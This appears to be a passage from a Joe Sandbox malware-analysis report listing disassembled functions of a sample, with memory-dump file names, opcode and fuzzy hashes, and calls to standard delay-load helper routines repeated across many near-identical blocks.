Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 5cc849e5027777c2e4a788204441fe39f6156593a5f4a8a5d78612f9b6010480
Instruction ID: 4946f589b84d86ff9c16a8ae50b871d58526c89ab23037ea5e899721e9ec502c
Opcode Fuzzy Hash: 5cc849e5027777c2e4a788204441fe39f6156593a5f4a8a5d78612f9b6010480
Instruction Fuzzy Hash: 28C01234400215878E304B68B8540557623EB623767B493A5C065C50A1C3268C83E502

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3A0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4789121eb8a7fec946e68dd7e651721ac7c1f6f307003b87026b5e80b50f5b4c
Instruction ID: 6da8afc8c7a9b37737fb3f9016c6617634631d140e22b0fa947afdeb77ad5445
Opcode Fuzzy Hash: 4789121eb8a7fec946e68dd7e651721ac7c1f6f307003b87026b5e80b50f5b4c
Instruction Fuzzy Hash: E9B01291A79002BD3254B1642D07F36032CE4D0F117308D3FFC00C4140D4500C091231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3AA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b914657c5ed47610d2bf1be81e348f83f75c9059c4c4319ebad720c14e490e0b
Instruction ID: bca7d913a76b2776226b9a31c550defeaba576586a6874d1d41080915b021f72
Opcode Fuzzy Hash: b914657c5ed47610d2bf1be81e348f83f75c9059c4c4319ebad720c14e490e0b
Instruction Fuzzy Hash: F1B012A1A790027D3254B1242D07F3A022CE4D0B11730993FFC00C4040D4400C051231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3BE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d4de59858c9c55b0e39232bf688a90bb50a20cc8193a49eaca9249ff7949947d
Instruction ID: 3d5488c30e077d0c2929d57bedef38af6cfcfff26065a0d3ee40aaa9ea5a64df
Opcode Fuzzy Hash: d4de59858c9c55b0e39232bf688a90bb50a20cc8193a49eaca9249ff7949947d
Instruction Fuzzy Hash: E8B012A5A790027D3254B1242E07F36022CE4D0B11730593FFC00C8040D4800D061231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F382 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 84d106c573f07b4ce594d155a6b2a41cd6ce5cbcf77987563032c37f395d9ce8
Instruction ID: c487175b0f813e6f287010b73944e8cd420253d4500c16045b1ca49cc480e8d9
Opcode Fuzzy Hash: 84d106c573f07b4ce594d155a6b2a41cd6ce5cbcf77987563032c37f395d9ce8
Instruction Fuzzy Hash: 9CB01291A790027D3254B5242D07F3A022CD4D0B11730C93FFC00C4140D4500C091231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F38C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fc666e17e48fbac209d14d1ce93777856b47dbc7d7a9fa05bf1134d5bb000e6c
Instruction ID: 523889e9584d26b615c37ff51372bb8e23a697fbd72eda1db2a5b0c756788287
Opcode Fuzzy Hash: fc666e17e48fbac209d14d1ce93777856b47dbc7d7a9fa05bf1134d5bb000e6c
Instruction Fuzzy Hash: D6B01291A791027D3294B1242D07F36022CD4D0B117308A3FFC10C4140D4500C491331

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F396 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: edbe8f2c5118a9e737519e0e44c71e06ab5b1299d365d6512f119ac90e156e10
Instruction ID: 266b0e0a9774755d34c07f70f5eb808603949773485243a9b12e1886d720c06a
Opcode Fuzzy Hash: edbe8f2c5118a9e737519e0e44c71e06ab5b1299d365d6512f119ac90e156e10
Instruction Fuzzy Hash: 04B01295A790027D3254B1242E07F36022CE4D0B11730893FFC00C8140D4A00C0E1231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3C8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 98d9f3799e98c2e81d6a57c573d4a317a66cd77d33a3f8b061ebe670ab885e1d
Instruction ID: 9f0d6510c58bf74b6c75b209da1f2c1838780654f026e1a788f06bc7b3824ec3
Opcode Fuzzy Hash: 98d9f3799e98c2e81d6a57c573d4a317a66cd77d33a3f8b061ebe670ab885e1d
Instruction Fuzzy Hash: 19B012A1A790027D3254B1252D07F36022CF4D0F11730593FFC00C8040D4400C051231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3DC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: afbc908f5e841ebacfb0c8beecd4518608192607b38bc10fd07c165a5c846056
Instruction ID: 7d2d955943d46844889a90dc5fb589c95c0c07c8f16ee80812e261726f20c658
Opcode Fuzzy Hash: afbc908f5e841ebacfb0c8beecd4518608192607b38bc10fd07c165a5c846056
Instruction Fuzzy Hash: 33B012A1A7B1027D3294B2246D17F36022CD4D0B11B304A3FFC00C4040D4400C451331

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F32B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9b9fc804c0562afebc2a17cdcbb5140b2c502818aa079952b5cf32cc3e6ca0a8
Instruction ID: a9d33ee85d683da6bb23ac6dd8399129b39316b7c91efc114d909c03d50dab02
Opcode Fuzzy Hash: 9b9fc804c0562afebc2a17cdcbb5140b2c502818aa079952b5cf32cc3e6ca0a8
Instruction Fuzzy Hash: 05B01291A790037E322875202D0BE36022CE4E0F11730493FFC00C4040E4400C051131

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F364 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 912c1afa9fba55613e10f9c26b67549a539f0784eaa94a33bcd73dc4132edf44
Instruction ID: 1abcbee164b700ed6ef3d5319dcca0ce5e5daf0daf038876e3de6bbb637315bf
Opcode Fuzzy Hash: 912c1afa9fba55613e10f9c26b67549a539f0784eaa94a33bcd73dc4132edf44
Instruction Fuzzy Hash: 80B012A5A792027D3694B1242D07F3702ACD8D0B117304A3FFC00C4040E4400C455331

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F378 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 740e2d890141abad6ebe57592dbd2cc712fe26fa10b43c57b89c3815b8d909b2
Instruction ID: d1bdd6e1e09e772261a8bfb1c8542b11be937279992f95414bfda2730a1e5b4e
Opcode Fuzzy Hash: 740e2d890141abad6ebe57592dbd2cc712fe26fa10b43c57b89c3815b8d909b2
Instruction Fuzzy Hash: 58B012A5A791027D7254B1242D07F37026CE8D0F11730493FFC00C4040D4400C051331

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F346 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 147a7a53e2614db5a5d9ed32a9dcbc52a5b65a32fa99440bcf6b740010c48c3b
Instruction ID: cad2af8a5dacbd0ad9d26d8a6fa9814bcc4f71330a2af7fce358efa203c9130d
Opcode Fuzzy Hash: 147a7a53e2614db5a5d9ed32a9dcbc52a5b65a32fa99440bcf6b740010c48c3b
Instruction Fuzzy Hash: FEB01295A790027D3254B1686E07F36023CD4D0B117304B3FFC00C8044D4800C061231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F350 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8fddc8d45460cdf68d243ed7af9001dea104fd277ac774bc309b97ce04f7796b
Instruction ID: 165f5fea5467294b45e70b264db455b6f68c7400547c62cd8de67da2002a3196
Opcode Fuzzy Hash: 8fddc8d45460cdf68d243ed7af9001dea104fd277ac774bc309b97ce04f7796b
Instruction Fuzzy Hash: C6B01291A791027D3254B1286D07F36023CE4D0F117304A3FFC00C4044D4400C051631

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F35A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 55496b9e3abcf08bf9617816ea7efd990b35d9a682df3fe851ae489e3b277e04
Instruction ID: efc9d3077fd7331e6926208ab21688ad0b559ae59ed52be296f929fa55b7d23d
Opcode Fuzzy Hash: 55496b9e3abcf08bf9617816ea7efd990b35d9a682df3fe851ae489e3b277e04
Instruction Fuzzy Hash: 08B012A5A791027D3254B1242D07F3B026CD8D0B11730893FFC00C4040D4400C051231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F5A5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F556

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1b258c2b8169bea4358f8928402f37a1455e4ed5083e47c91383e56c0f68575c
Instruction ID: cebed095ed3859ccf5b10c763fcc83e6021f136a1472c5b55f8f84fa4b713af5
Opcode Fuzzy Hash: 1b258c2b8169bea4358f8928402f37a1455e4ed5083e47c91383e56c0f68575c
Instruction Fuzzy Hash: 14B012D1AF80007F321462247D13F36012CE0C4B12730463BF840C1040D4414C040231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F573 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F556

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
